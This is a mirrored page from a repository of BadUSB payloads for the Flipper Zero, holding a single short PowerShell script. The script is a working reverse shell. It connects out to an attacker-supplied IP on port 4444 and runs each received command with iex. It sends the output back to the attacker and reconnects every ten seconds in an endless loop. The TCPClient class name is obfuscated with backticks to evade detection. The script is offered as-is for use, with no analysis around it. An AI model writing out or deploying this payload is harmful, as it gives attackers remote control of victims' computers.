mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-25 04:15:26 -08:00
15 lines
442 B
PowerShell
15 lines
442 B
PowerShell
|
|
do{
|
|
$v = 4
|
|
$a = New-Object S`ySt`em.N`eT.`s`ock`eTs.TC`PC`li`eNt("$ip",4444)
|
|
$b = $a.GetStream();[byte[]]$c = 0..65535|%{0}
|
|
while(($d = $b.Read($c, 0, $c.Length)) -ne 0){
|
|
$e = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($c,0, $d)
|
|
$f = (iex $e 2>&1 | Out-String );$g = $f + (pwd).Path + '> '
|
|
$h = ([text.encoding]::ASCII).GetBytes($g)
|
|
$b.Write($h,0,$h.Length)
|
|
$b.Flush()}
|
|
$a.Close()
|
|
Sleep 10
|
|
}while ($v -le 5)
|